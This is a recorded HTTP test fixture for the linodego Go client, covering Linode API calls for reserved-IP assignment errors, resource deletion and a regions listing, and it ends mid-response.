Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "85" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:42 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"address":"198.51.100.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Address must be reserved and must be currently unassigned.", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "106" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:42 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"ca-central"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.105.0.89", "gateway": "172.105.0.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-0-89.ip.linodeusercontent.com", "linode_id": null, "region": "ca-central", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"address":"172.105.0.89"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Address must belong to same region as linode.", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "93" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:43 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv6","public":true,"address":"23.92.21.220"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Only addresses of type ipv4 are currently supported."}, {"reason": "Address must be currently unassigned.", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "153" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:43 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":false,"address":"23.92.21.220"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Cannot reserve a private address.", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "81" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:43 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"address":"12345"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Must provide a valid reserved address", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "85" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:43 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"address":""}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Must provide a valid reserved address", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "85" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:43 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"address":""}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Must provide a valid reserved address", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "85" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:44 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"address":""}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Must provide a valid reserved address", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "85" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:44 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.105.0.89 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/23.92.21.220 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Clone.yaml000066400000000000000000001455471474652371000312140ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": 